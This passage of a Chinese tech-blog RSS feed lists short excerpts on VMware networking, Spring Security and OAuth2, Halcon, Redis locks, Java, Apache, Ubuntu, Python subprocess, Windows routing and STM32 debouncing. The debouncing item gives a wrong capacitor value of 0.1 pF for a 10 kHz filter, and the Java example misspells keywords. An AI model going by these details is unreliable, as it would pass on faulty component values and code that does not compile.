      <description>VMware安装macos无法联网的问题&#xA;1: 控制面板—&amp;gt;网络和共享中心&#xA;2：选择属性，点击共享按钮。&#xA;3：将internet连接共享下面选项都选中，然后在家庭网络连接选择VMware Network Adapter VMnet1。&#xA;4：在安装的虚拟机中选择虚拟机-&amp;gt;设置选项。&#xA;按快捷键Ctrl+R,输入service.msc&#xA;5：点击网络适配器，将网络连接改成NAT模式，点击确定（如果NAT 不行可以每个都选一下试试，我就是这么试的）。&#xA;6.要特别注意macOS的时间，如果时间不对也是不行的。&#xA;![在这里插入图片描述](https://img-blog.csdnimg.cn/a3f26a4b13ba4744bdbc83c50f927a87.jpeg#pic_center</description>
    </item>
    <item>
      <title>spring security （史上最全）</title>
      <link>https://bchobby.github.io/posts/2093bbb7dad7e9c78e3056f288fbca67/</link>
      <pubDate>Fri, 21 Apr 2023 09:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2093bbb7dad7e9c78e3056f288fbca67/</guid>
      <description>认证与授权（Authentication and Authorization） 一般意义来说的应用访问安全性，都是围绕认证（Authentication）和授权（Authorization）这两个核心概念来展开的。&#xA;即：&#xA;首先需要确定用户身份，再确定这个用户是否有访问指定资源的权限。 认证这块的解决方案很多，主流的有CAS、SAML2、OAUTH2等（不巧这几个都用过-_-），我们常说的单点登录方案（SSO）说的就是这块，&#xA;授权的话主流的就是spring security和shiro。&#xA;shiro比较轻量级，相比较而言spring security确实架构比较复杂。但是shiro与 ss，掌握一个即可。&#xA;这里尼恩给大家做一下系统化、体系化的梳理，供后面的小伙伴参考，提升大家的 3高 架构、设计、开发水平。&#xA;注：本文以 PDF 持续更新，最新尼恩 架构笔记、面试题 的PDF文件，请从下面的链接获取： 码云&#xA;什么是OAuth2 ？ OAuth2是一个关于授权的开放标准，核心思路是通过各类认证手段（具体什么手段OAuth2不关心）认证用户身份，&#xA;并颁发token（令牌），使得第三方应用可以使用该令牌在限定时间、限定范围访问指定资源。&#xA;主要涉及的RFC规范有【RFC6749（整体授权框架）】、【RFC6750（令牌使用）】、【RFC6819（威胁模型）】这几个，一般我们需要了解的就是RFC6749。&#xA;获取令牌的方式主要有四种，分别是授权码模式、简单模式、密码模式、客户端模式，&#xA;总之：OAuth2是一个授权（Authorization）协议。&#xA;认证（Authentication）证明的你是不是这个人，&#xA;而授权（Authorization）则是证明这个人有没有访问这个资源（Resource）的权限。&#xA;下面这张图来源于OAuth 2.0 authorization framework RFC Document，是OAuth2的一个抽象流程。&#xA;+--------+ +---------------+ | |--(A)- Authorization Request -&amp;gt;| Resource | | | | Owner | | |&amp;lt;-(B)-- Authorization Grant ---| | | | +---------------+ | | | | +---------------+ | |--(C)-- Authorization Grant --&amp;gt;| Authorization | | Client | | Server | | |&amp;lt;-(D)----- Access Token -------| | | | +---------------+ | | | | +---------------+ | |--(E)----- Access Token ------&amp;gt;| Resource | | | | Server | | |&amp;lt;-(F)--- Protected Resource ---| | +--------+ +---------------+ 先来解释一下上图的名词：</description>
    </item>
    <item>
      <title>Halcon图像中的字体设定 字体颜色设定 显示样式设定 信息显示</title>
      <link>https://bchobby.github.io/posts/6a5e3079eb58f67283be198dfc9376dc/</link>
      <pubDate>Fri, 21 Apr 2023 08:58:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a5e3079eb58f67283be198dfc9376dc/</guid>
      <description>图像中的字体设定set_display_font&#xA;算子：set_display_font( : : WindowHandle, Size, Font, Bold, Slant : )&#xA;示例：set_display_font (200000, 24, &#39;mono&#39;, &#39;true&#39;, &#39;false&#39;)&#xA;200000（输入参数1）：输入窗口句柄&#xA;24（输入参数2）：输入字体大小&#xA;&#39;mono&#39;（输入参数3）：输入字体类型&#xA;&#39;true&#39;（输入参数4）：是否选择粗体&#xA;&#39;false&#39;（输入参数5）：是否选择斜体&#xA;图像中的字体颜色设定dev_set_color&#xA;算子：dev_set_color( : : ColorName : )&#xA;示例：dev_set_color (&#39;green&#39;)&#xA;&#39;green&#39;（输入参数）：设定颜色&#xA;图像中的显示样式设定dev_set_draw&#xA;算子：dev_set_draw( : : DrawMode : )&#xA;示例：dev_set_draw (&#39;margin&#39;)&#xA;&#39;margin&#39;（输入参数）：显示类型 填充or 不填充&#xA;图像中的信息显示设定&#xA;第一种disp_message&#xA;算子：disp_message( : : WindowHandle, String, CoordSystem, Row, Column, Color, Box : )&#xA;示例：disp_message (200000, &#39;第一种显示设定图像中的信息显示&#39;, &#39;Image&#39;, 10, 10, &#39;black&#39;, &#39;true&#39;)&#xA;200000（输入参数1）：输入窗口句柄&#xA;&#39;第一种显示设定图像中的信息显示&#39;（输入参数2）：输入显示内容&#xA;&#39;Image&#39;（输入参数3）：输入在哪张图像上显示</description>
    </item>
    <item>
      <title>Halcon区域集合运算及变换</title>
      <link>https://bchobby.github.io/posts/dacbb6a5c6ecbcaba1458ad8f277953c/</link>
      <pubDate>Fri, 21 Apr 2023 08:58:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dacbb6a5c6ecbcaba1458ad8f277953c/</guid>
      <description>difference(Region, Sub : RegionDifference : : )&#xA;示例：difference (RegionUnion, ObjectSelected1, RegionDifference)&#xA;RegionUnion（输入对象）：输入大的区域对象&#xA;ObjectSelected1（输入对象）：输入小的区域对象&#xA;RegionDifference（输出对象）：输出大的区域减去小的区域对象的区域&#xA;两个区域的交集：intersection&#xA;算子：&#xA;intersection(Region1, Region2 : RegionIntersection : : )&#xA;示例：intersection (Rectangle, Rectangle1, RegionIntersection)&#xA;Rectangle（输入对象）：输入第一个区域对象&#xA;Rectangle1（输入对象）：输入第二个区域对象&#xA;RegionIntersection（输出对象）：输出两个区域相交的区域对象&#xA;区域变换&#xA;断开不相连的区域：connection&#xA;算子：connection(Region : ConnectedRegions : : )&#xA;示例：connection (Region1, ConnectedRegions)&#xA;Region1（输入对象）：输入一个连成一块的对象&#xA;ConnectedRegions（输出对象）：输出断开不相连的各个区域&#xA;区域填充：fill_up&#xA;算子：fill_up(Region : RegionFillUp : : )&#xA;示例：fill_up (Region, RegionFillUp)&#xA;Region（输入对象）：输入需要填充的对象&#xA;RegionFillUp（输出对象）：输出填充好的区域对象&#xA;抠图：reduce_domain&#xA;算子：reduce_domain(Image, Region : ImageReduced : : )&#xA;示例：reduce_domain (GrayImage, RegionFillUp, ImageReduced)&#xA;GrayImage（输入对象）：输入灰度图对象&#xA;RegionFillUp（输入对象）：输入二值化区域</description>
    </item>
    <item>
      <title>分布式锁的应用</title>
      <link>https://bchobby.github.io/posts/f32d5473fa542385dae5c33fae7e55f7/</link>
      <pubDate>Fri, 21 Apr 2023 00:29:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f32d5473fa542385dae5c33fae7e55f7/</guid>
      <description>package com.itheima.utils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.dao.DataAccessException; import org.springframework.data.redis.connection.RedisConnection; import org.springframework.data.redis.core.RedisCallback; import org.springframework.data.redis.core.StringRedisTemplate; import java.util.concurrent.TimeUnit; public class RedisLock { private static Logger log = LoggerFactory.getLogger(RedisLock.class); private StringRedisTemplate stringRedisTemplate; private String lockKey; private String value; private static final String PREFIX_KEY = &#34;gb.common.distributed.lock.redis_&#34;; private boolean locked; private int expireSecond; private int timeout; private static final int DEFAULT_RETRY_INTERVAL_MILLIS = 100; private int retryCount; private int retryIntervalMillisecond; /** * @deprecated */ @Deprecated public RedisLock(StringRedisTemplate stringRedisTemplate, String lockKey) { this.</description>
    </item>
    <item>
      <title>抽象方法和抽象类</title>
      <link>https://bchobby.github.io/posts/52237a3e51cd5000bfb4ed2c10679e8d/</link>
      <pubDate>Thu, 20 Apr 2023 23:09:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52237a3e51cd5000bfb4ed2c10679e8d/</guid>
      <description>一、抽象方法 定义： Java中可以定义不含方法体的方法，方法的方法体由其所在类的子类根据实际需求去实现，这样的方法叫抽象方法，包含抽象方法的类必须是抽象类。&#xA;Java中提供了 abstract 关键字，表示抽象的意思，用其修饰的方法称为抽象方法。抽象方法是不完整的方法，只有方法声明，没有方法体。&#xA;抽象方法的语法格式：&#xA;[修饰符] abstract 方法返回值类型 方法名（[参数列表]）；&#xA;举个栗子：&#xA;正常的方法：&#xA;public void fly(){&#xA;System.out.println(&#34;我要飞得更高”）； //此为方法体&#xA;}&#xA;抽象方法：&#xA;pubilc astract void fly()； //没有方法体&#xA;二、抽象类 用 abstact 修饰的类，称为抽象类，抽象类可以不包含任何抽象方法。&#xA;抽象类的语法格式：&#xA;[修饰符] abstrct class 类名{&#xA;......&#xA;}&#xA;注意点：&#xA;使用抽象类时需要注意，抽象类不能被实例化，即不能用new关键字创建对象。这是因为抽象类中可能包含抽象方法，抽象方法只有声明没有方法体，不能被调用。但是，我们可以通过子类继承抽象父类去实现抽象方法。&#xA;由于抽象类不能实例化，所以用上面的例子的话，就是不能 使用 Bird b =new Bird（）；&#xA;来创建对象。那么我们就得引入上转型的定义了。&#xA;向上转型：&#xA;向上转型就是把子类对象直接赋给父类的引用变量，不用强制转换。使用向上转型可以调用父类类型中的所有成员。&#xA;注意点：&#xA;上转型对象不能调用子类新增的成员变量和方法，但是可以调用父类隐藏的变量/方法和继承以及重写的变量和方法。&#xA;格式：&#xA;父类类型 创建对象 = new 子类类型&#xA;例如：上面例题的 Bird b =new B1()；&#xA;注意点：&#xA;非抽象子类要重写抽象父类的所有抽象方法，一个都不可以少，否则会报错。&#xA;举个栗子：&#xA;abstract class Bird{ public abstract void fly(); public abstract void say(); } class B1 extends Bird{ public void fly(){ System.</description>
    </item>
    <item>
      <title>Apache服务器配置 Windows</title>
      <link>https://bchobby.github.io/posts/d0adaed8a6c275a516a4006aa04cbd92/</link>
      <pubDate>Thu, 20 Apr 2023 21:49:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0adaed8a6c275a516a4006aa04cbd92/</guid>
      <description>1 下载Apache 登录http://httpd.apache.org/download.cgi 这个地址，找到下图所示位置。&#xA;2 安转 解压压缩包，找到G:\Apache24\conf\httpd.conf，修改两个地方。&#xA;一个是Apache文件所在地址，一个是监听地址。&#xA;打开CMD窗口，输入G:\Apache24\bin\httpd.exe -k install -n apache，然后回车。服务安装完毕，若有问题，窗口会提示错误，此时，请根据错误自行排查。&#xA;正常安装后，启动bin下的ApacheMonitor.exe文件，如下所示，点击启动即可。&#xA;3 修改默认界面 这是一个基于HTML、CSS和JavaScript的石头、剪刀、布游戏，旨在演示如何使用JavaScript实现一个简单的游戏，并展示如何将HTML、CSS和JavaScript组合在一起创建动态网页。&#xA;该游戏采用经典的石头、剪刀、布规则，玩家可以选择其中一个手势，与计算机进行比较。游戏包含两个主要部分：用户界面和游戏逻辑。用户界面包括选择手势的按钮、显示结果的区域以及重新开始游戏的按钮。游戏逻辑负责根据玩家和计算机的选择计算结果，并将结果显示在结果区域中。&#xA;该游戏的架构主要由三个部分组成：HTML文件、CSS文件和JavaScript文件。HTML文件定义了游戏的页面结构和布局，CSS文件定义了游戏的样式和外观，JavaScript文件包含游戏的逻辑和交互行为。在JavaScript中，通过获取用户输入、计算结果和更新页面内容等操作来实现游戏逻辑。整个游戏是基于事件驱动的，当用户点击按钮时，会触发相关的事件，然后JavaScript会执行相应的操作。&#xA;在htddocs下进行编辑，三个文件。&#xA;代码如下所示：&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;title&amp;gt;石头、剪刀、布游戏&amp;lt;/title&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;link rel=&#34;stylesheet&#34; href=&#34;style.css&#34;&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;header&amp;gt; &amp;lt;h1&amp;gt;石头、剪刀、布游戏&amp;lt;/h1&amp;gt; &amp;lt;/header&amp;gt; &amp;lt;main&amp;gt; &amp;lt;p&amp;gt;请选择你的手势：&amp;lt;/p&amp;gt; &amp;lt;div class=&#34;choices&#34;&amp;gt; &amp;lt;button id=&#34;rock&#34; class=&#34;choice&#34; data-choice=&#34;rock&#34;&amp;gt;石头&amp;lt;/button&amp;gt; &amp;lt;button id=&#34;paper&#34; class=&#34;choice&#34; data-choice=&#34;paper&#34;&amp;gt;布&amp;lt;/button&amp;gt; &amp;lt;button id=&#34;scissors&#34; class=&#34;choice&#34; data-choice=&#34;scissors&#34;&amp;gt;剪刀&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;results&#34;&amp;gt; &amp;lt;p&amp;gt;你的选择：&amp;lt;span id=&#34;player-choice&#34;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;计算机的选择：&amp;lt;span id=&#34;computer-choice&#34;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;p id=&#34;result&#34;&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;button id=&#34;reset&#34;&amp;gt;再来一局&amp;lt;/button&amp;gt; &amp;lt;/main&amp;gt; &amp;lt;script src=&#34;</description>
    </item>
    <item>
      <title>ubuntu硬盘空间不足，扩容</title>
      <link>https://bchobby.github.io/posts/d9c283e44f7a12770a0ae05d031e5116/</link>
      <pubDate>Thu, 20 Apr 2023 21:41:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9c283e44f7a12770a0ae05d031e5116/</guid>
      <description>在VM中给虚拟机增加内存20G 步骤如下：点击克隆好的虚拟机【Ubunt16】，可以看到内存只有20G，下面扩展，点击【编辑虚拟机设置】-&amp;gt; 【硬盘】-&amp;gt; 【扩展】（此处如果扩展不可点，需要删除所有快照）-&amp;gt; 弹出页面填写【40G】-&amp;gt;【扩展】，等待完成即可；&#xA;安装 gparted，重新分配 内存 步骤如下&#xA;1、安装gparted，报了一个 版本不兼容的错，解决方案是使用aptitude安装，通过降级依赖的软件解决依赖关系。过程记录如下&#xA;sudo apt-get update # 更新一哈&#xA;sudo apt-get install gparted # 安装 gparted ，居然报错了，还好这个错我见过，是版本的问题&#xA;# 使用aptitude安装，通过降级依赖的软件解决依赖关系&#xA;sudo apt-get install aptitude # 安装aptitude -- 使用aptitude软件包管理器&#xA;sudo aptitude install gparted n y y&#xA;# 第一个 n , 是不接受当前解决方案&#xA;# 第一个 y , 是接受 降级依赖软件 安装&#xA;# 第二个 y , 是允许安装&#xA;sudo gparted # 打开 gparted ，重新分配内存&#xA;重新调整分区，由于在 sda1 和 新加的20G 之间有 个 extend，所以不能直接 将这20G 扩展到 sda1，需要先删除 extend，配置好分区后，再重新添加 extend。</description>
    </item>
    <item>
      <title>Java 成绩管理系统(包含抛异常)，无继承、GUI</title>
      <link>https://bchobby.github.io/posts/1885a5e37a78d0e9292029b8986c78d9/</link>
      <pubDate>Thu, 20 Apr 2023 21:37:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1885a5e37a78d0e9292029b8986c78d9/</guid>
      <description>分为三部分&#xA;Subject、Student、Main&#xA;主体部分在Main的main中&#xA;运行界面&#xA;`Subject.java`&#xA;public class subject { private String name; private int grade; public subject(){}; public subject(subject _subject) { setName(_subject.name); setGrade(_subject.grade); } public subject(String _name , int _grade) { setName(_name); setGrade(_grade); } public int getGrade() { return grade; } public void setName(String name) { this.name = name; } public void setGrade(int grade) { this.grade = grade; } public void print() { System.out.print(this.grade + &#34; \t&#34;); } } `Student.</description>
    </item>
    <item>
      <title>Python内执行cmd命令</title>
      <link>https://bchobby.github.io/posts/3376afeae65e7823c01506b171b8b755/</link>
      <pubDate>Thu, 20 Apr 2023 20:05:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3376afeae65e7823c01506b171b8b755/</guid>
      <description>def log_popen_pipe(process, stdfile): while process.poll() is None: if stdfile == process.stdout: out_msg = stdfile.readline().decode(&#34;utf-8&#34;) if out_msg: sys.stdout.write(&#34;[stdout]&#34; + out_msg) sys.stdout.flush() else: err_msg = stdfile.readline().decode(&#34;utf-8&#34;) if err_msg: sys.stderr.write(&#34;[stderr]&#34; + err_msg) sys.stderr.flush() # Write the rest from the buffer if stdfile == process.stdout: sys.stdout.write(stdfile.read().decode(&#34;utf-8&#34;)) else: sys.stderr.write(stdfile.read().decode(&#34;utf-8&#34;)) def run_process(cmd, env=None): print(&#34;run_process = &#34;, &#34; &#34;.join(cmd)) with subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env) as proc: with ThreadPoolExecutor(max_workers=2) as pool: stdout = pool.submit(log_popen_pipe, proc, proc.stdout) stderr = pool.</description>
    </item>
    <item>
      <title>​windows通过修改路由表，通过特定的网卡访问特定IP​</title>
      <link>https://bchobby.github.io/posts/843974f0ae22204eb96f3393895436b1/</link>
      <pubDate>Thu, 20 Apr 2023 17:58:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/843974f0ae22204eb96f3393895436b1/</guid>
      <description>windows通过修改路由表，通过特定的网卡访问特定IP 方式：修改路由表，指定的IP网段走指定的无线网卡。&#xA;步骤1：查看无线网卡的网关信息。终端里输入ipconfig，找到无线网卡对应的网关信息；这里是192.168.44.1。&#xA;步骤2：查看无线网卡的接口信息。终端里输入route print，找到无线网卡对应的接口信息，这里是30。&#xA;步骤3： 添加路由表信息。我要添加192.168.101.xxx网段的子网服务器路由信息，因此，在终端里输入：&#xA;route -p add 192.168.101.0 MASK 255.255.255.0 192.168.44.1 IF 30&#xA;其中-p代表添加为永久的陆游信息，add后的IP网段和MASK对应我要匹配的路由网段，192.168.44.1为无线网卡对应的网关地址（因人而异），IF后的是无线网卡的接口信息。&#xA;之后，访问192.168.101字段IP的数据，就会从无线网卡发出。&#xA;我本机的 需要访问的网络如下&#xA;route add 27.0.0.0 MASK 255.0.0.0 192.168.1.1 IF 13</description>
    </item>
    <item>
      <title>【STM32】按键抖动及消除</title>
      <link>https://bchobby.github.io/posts/ee3b212a660bd23c7c2128c42e0317cc/</link>
      <pubDate>Thu, 20 Apr 2023 14:50:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee3b212a660bd23c7c2128c42e0317cc/</guid>
      <description>由于按键的抖动会导致一次按键动作被当成多次按键，为确保MCU对按键的一次闭合仅作一次处理，必须消除按键的抖动，在按键处于稳定状态时读取按键的状态。&#xA;按键的去抖动,通常有硬件消抖和软件消抖两种方式。&#xA;（1）硬件消抖&#xA;在按键数目较少时，可以采用硬件的方法消除按键抖动。比较简单的硬件电路是利用电阻和电容构成的RC低通滤波器来实现，电路结构如图所示。&#xA;采用RC低通滤波器实现硬件去抖的关键是选择适当的电阻值和电容值。由于人按键的频率一般低于1kHz，而按键抖动的频率一般是几十到几百kHz。因此，可以将低通滤波器的截止频率选择为10kHz。根据截止频率计算式fLP=1/2πRC可以选取160 Ω的电阻以及0.1 pF的电容来构成RC低通滤波器。&#xA;（2）软件消抖&#xA;如果按键数目较多，可以采用软件的方法消除按键抖动。处理流程如下：当检测到按键按下后执行一个延时程序,延时时间为5~10 ms。当前沿抖动消失后,再次检测按键的状态，如果仍然保持按下状态,则确认按键真正按下，并执行按键处理任务。同样，对于按键的释放，也需要采用延时函数去掉后沿的抖动。</description>
    </item>
    <item>
      <title>verdi基础操作</title>
      <link>https://bchobby.github.io/posts/93ced4f7c66199413ba243f83c5d9dc5/</link>
      <pubDate>Thu, 20 Apr 2023 14:40:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93ced4f7c66199413ba243f83c5d9dc5/</guid>
      <description>看波形：&#xA;1.代码里选中，再按鼠标中键拖进去&#xA;2.选中，ctrl+w&#xA;3.用get signal&#xA;在波形框中，按照鼠标左键再左右移动，可以放大这一部分的波形，还有下面的功能键可以用&#xA;删除波形：&#xA;按delete或者cut掉&#xA;更新了代码：&#xA;用gvim更新修改代码后，需要重新打开一个终端重新跑vcs，然后在verdi的代码框用shift+l刷新，会同时刷新代码和波形&#xA;放大缩小：&#xA;鼠标放到波形框，按住左键拉&#xA;按f回到全屏，按z慢慢变大&#xA;或者用GUI的按键&#xA;存波形&#xA;从波形的file处进入save signal，或者shift+s存波形&#xA;再次用就restore signal&#xA;找drive和load&#xA;双击或者点功能键&#xA;debug：&#xA;代码内双击，跳转drive或者load。功能行左右箭头可以前进回退至之前点击的信号处&#xA;另外可以在波形里双击沿，会跳转到导致沿变化的语句&#xA;二维数组拖波形&#xA;默认情况拖到波形处会warning，可以在仿真里加 $fsdbDumpMDA;&#xA;看波形移动时间&#xA;shift time可以移动时间，方便看pipeline的波形</description>
    </item>
    <item>
      <title>数据采集方式有哪些，都有什么特点？</title>
      <link>https://bchobby.github.io/posts/75494b8ba3e7c48a52f023b2e89e6968/</link>
      <pubDate>Thu, 20 Apr 2023 14:16:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75494b8ba3e7c48a52f023b2e89e6968/</guid>
      <description>随着中国社会的进一步发展，各行各业都得到了一定程度的进步。进入21世纪以来，大数据、人工智能等行业的飞速发展，极大的带动全社会进步。但是，在一些传统行业内部，还存在这落后的东西，例如数据采集还是沿用传统的采集方式，大部分借助于人工采集方式，耗时耗力，亟需改进。&#xA;随着企业业务数字化转型的推进，非数字原生企业对数据的感知和获取提出了新的要求和挑战，原有信息化平台的数据输出和人工录入能力已经远远满足不了企业内部组织在数字化下的运作需求。企业需要构建数据感知能力，采用现代化手段采集和获取数据，减少人工录入。&#xA;和这些内容息息相关的就是数据采集，小亿今天就和大家聊聊关于数据采集。&#xA;一、什么是数据采集？ 数据采集，又称数据获取，是利用一种装置，从系统外部采集数据并输入到系统内部的一个接口。在互联网行业快速发展的今天，数据采集已经被广泛应用于人工智能等相关领域，摄像头、麦克风等，都是数据采集的工具。&#xA;数据采集系统整合了信号、传感器等数据采集设备和应用软件。在数据大爆炸的互联网时代，数据的类型也是复杂多样的，包括结构化数据、半结构化数据、非结构化数据。结构化数据最常见，就是具有模式的数据。非结构化数据是数据结构不规则或不完整，没有预定义的数据模型，包括所有格式的办公文档、文本、图片、HTML、各类报表、图像和音频/视频信息等等。大数据采集，是大数据分析的入口，所以是相当重要的一个环节。&#xA;而数据采集的要点，主要有以下三点：&#xA;1、全面性&#xA;数据量足够具有分析价值、数据面足够支撑分析需求。比如对于“查看商品详情”这一行为，需要采集用户触发时的环境信息、会话、以及背后的用户id，最后需要统计这一行为在某一时段触发的人数、次数、人均次数、活跃比等。&#xA;2、多维性&#xA;数据更重要的是能够满足分析需求。灵活、快速自定义数据的多种属性和不同类型，从而满足不同的分析目标。比如“查看商品详情”这一行为，通过埋点，我们才能知道用户查看的商品是什么、价格、类型、商品id等多个属性。从而知道用户看过哪些商品、什么类型的商品被查看的多、某一个商品被查看了多少次，而不仅仅是知道用户进入了商品详情页。&#xA;3、高效性&#xA;高效性包含技术执行的高效性、团队内部成员协同的高效性以及数据分析需求和目标实现的高效性。也就是说采集数据一定要明确采集目的，带着问题搜集信息，使信息采集更高效、更有针对性。此外，还要考虑数据的时效性。 不同应用领域的大数据其特点、数据量、用户群体均不相同。不同领域根据数据源的物理性质及数据分析的目标采取不同的数据采集方法。 通过了解数据采集的三大要点，选择全面、准确、高效的数据合作伙伴至关重要。&#xA;二、数据采集方式有哪些？ 数据感知可分为“硬感知”和“软感知”，面向不同场景，即数据采集技术可以分为这两个方面的技术。&#xA;“硬感知”主要利用设备或装置进行数据的收集，收集对象为物理世界中的物理实体，或者是以物理实体为载体的信息、事件、流程等。而“软感知”使用软件或者各种技术进行数据收集，收集的对象存在于数字世界，通常不依赖物理设备进行收集。&#xA;1、基于物理世界的“硬感知”能力&#xA;数据采集方式主要经历了人工采集和自动采集两个阶段。自动采集技术仍在发展中，不同的应用领域所使用的具体技术手段也不同。基于物理世界的“硬感知”依靠的就是数据采集，是将物理对象镜像到数字世界中的主要通道，是构建数据感知的关键，是实现人工智能的基础。&#xA;基于当前的技术水平和应用场景，我们将“硬感知”分为9类，每一类感知方式都有自身的特点和应用场景。&#xA;（1）条形码与二维码&#xA;条形码或者条码是将宽度不等的多个黑条和空白，按一定的编码规则排列，用以表达一组信息的图形标识符，通常一维条形码所能表示的字符集不过10个数字、26个英文字母及一些特殊字符，条码字符集所能表示的字符个数最多为128个ASCII字符，信息量非常有限。&#xA;二维码是用某种特定的几何图形按一定规律在平面上分布的黑白相间的图形，用来记录数据符号信息。二维码拥有庞大的信息携带量，能够把使用一维条码时存储于后台数据库中的信息包含在条码中，可以直接阅读条码得到相应的信息，并且二维码还有错误修正及防伪功能，增加了数据的安全性。&#xA;（2）磁卡&#xA;磁卡是一种卡片状的磁性记录介质，利用磁性载体记录字符与数字信息，用来保存身份信息。视使用基材的不同，可分为PET卡、PVC卡和纸卡三种；视磁层构造的不同，又可分为磁条卡和全涂磁卡两种。&#xA;磁卡的优点是成本低，这是它容易推广的原因，但缺点也比较明显，例如卡的保密性和安全性较差，使用磁卡的应用系统需要有可靠的计算机系统和中央数据库的支持。&#xA;（3）RFID&#xA;RFID（Radio Frequency Identification，无线射频识别）是一种非接触式的自动识别技术，通过无线射频方式进行非接触双向数据通信，利用无线射频方式对记录媒体（电子标签或射频卡）进行读写，从而达到识别目标和数据交换的目的。&#xA;基于特别业务场景的需求，在RFID的基础上发展出了NFC（Near Field Communication，近场通信）。NFC本质上与RFID没有太大区别，在应用上的区别如下。&#xA;NFC的距离小于10cm，所以具有很高的安全性，而RFID距离从几米到几十米都有。&#xA;NFC仅限于13.56MHz的频段，与现有非接触智能卡技术兼容，所以很多的厂商和相关团体都支持NFC。而RFID标准较多，难以统一，只能在特殊行业有特殊需求的情况下，采用相应的技术标准。&#xA;RFID更多地被应用在生产、物流、跟踪、资产管理上，而NFC则在门禁、公交、手机支付等领域发挥着巨大的作用。&#xA;（4）OCR和ICR&#xA;OCR（Optical Character Recognition，光学字符识别）是指电子设备（例如扫描仪或者数码相机）检查纸上打印的字符，通过边检测暗、亮的模式确定其形状，将其形状翻译成计算机文字的过程。如何除错或利用辅助信息提高识别正确率，是OCR的重要课题。&#xA;ICR（Intelligent Character Recognition，智能字符识别）是一种更先进的OCR。它植入了计算机深度学习的人工智能技术，采用语义推理和语义分析，根据字符上下文语句信息并结合语义知识库，对未识别部分的字符进行信息补全，解决了OCR的技术缺陷。&#xA;一个OCR识别系统，从影像到结果输出，须经过影像输入、影像预处理、文字特征抽取、比对识别，最后经人工校正将认错的文字更正，将结果输出。&#xA;目前OCR和ICR技术在业界有较为成熟的解决方案供应商，非数字原生企业不需要自行研发就可以完成相关技术的部署和数据的采集。&#xA;（5）图像数据采集&#xA;图像数据采集是指利用计算机对图像进行采集、处理、分析和理解，以识别不同模式的目标和对象的技术，是深度学习算法的一种实践应用。&#xA;（6）音频数据采集&#xA;语音识别技术也被称为自动语音识别（Automatic Speech Recognition，ASR），可将人类的语音中的词汇内容转换为计算机可读的输入，例如二进制编码、字符序列或者文本文件。&#xA;目前音频数据采集技术在业界也有较为成熟的解决方案供应商，可以很便捷地通过解决方案供应商的技术，完成技术的部署和数据的采集。&#xA;采集来的声音作为音频文件存储。音频文件是指通过声音录入设备录制的原始声音，直接记录了真实声音的二进制采样数据，是互联网多媒体中重要的一种文件。音频获取途径包括下载音频、麦克风录制、MP3录音、录制计算机的声音、从CD中获取音频等。&#xA;（7）视频数据采集&#xA;视频是动态的数据，内容随时间而变化，声音与运动图像同步。通常视频信息体积较大，集成了影像、声音、文本等多种信息。&#xA;视频的获取方式包括网络下载、从VCD或DVD中捕获、从录像带中采集、利用摄像机拍摄等，以及购买视频素材、屏幕录制等。&#xA;（8）传感器数据采集&#xA;传感器是一种检测装置，能感受到被检测的信息，并能将检测到的信息按一定规律变换成信号或其他所需形式的信息输出，以满足信息的采集、传输、处理、存储、显示、记录等要求。信号类型包括IEPE信号、电流信号、电压信号、脉冲信号、I/O信号、电阻变化信号等。&#xA;传感器数据的主要特点是多源、实时、时序化、海量、高噪声、异构、价值密度低等，数据通信和处理难度都较大。&#xA;（9）工业设备数据采集&#xA;工业设备数据是对工业机器设备产生数据的统称。在机器中有很多特定功能的元器件（阀门、开关、压力计、摄像头等），这些元器件接受工业设备和系统的命令开、关或上报数据。工业设备和系统能够采集、存储、加工、传输数据。工业设备目前应用在很多行业，有联网设备，也有未联网设备。&#xA;工业设备数据采集应用广泛，例如可编程逻辑控制器（PLC）现场监控、数控设备故障诊断与检测、专用设备等大型工控设备的远程监控等。&#xA;2、基于数字世界的“软感知”能力&#xA;物理世界的“硬感知”是将物理对象构建到数字世界中的主要通道，是构建数据孪生的关键，而已经存在于数字世界中的那些分散、异构信息，可通过“软感知”能力来利用。目前“软感知”比较成熟，并随着数字原生企业的崛起而得到了广泛的应用。&#xA;（1）埋点&#xA;埋点是数据采集领域，尤其是用户行为数据采集领域的术语，指的是针对特定用户行为或事件进行捕获的相关技术。埋点的技术实质，是监听软件应用运行过程中的事件，当需要关注的事件发生时进行判断和捕获。&#xA;埋点的主要作用是能够帮助业务和数据分析人员打通固有信息墙，为了解用户交互行为、扩宽用户信息和前移运营机会提供数据支撑。在产品数据分析的初级阶段，业务人员通过自有或第三方的数据统计平台了解App用户访问的数据指标，包括新增用户数、活跃用户数等。&#xA;这些指标能帮助企业宏观地了解用户访问的整体情况和趋势，从总体上把握产品的运营状况，通过分析埋点获取的数据，制定产品改进策略。</description>
    </item>
    <item>
      <title>BCompare的一些常用操作</title>
      <link>https://bchobby.github.io/posts/f92c289e307b386af4073093902bb699/</link>
      <pubDate>Thu, 20 Apr 2023 11:53:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f92c289e307b386af4073093902bb699/</guid>
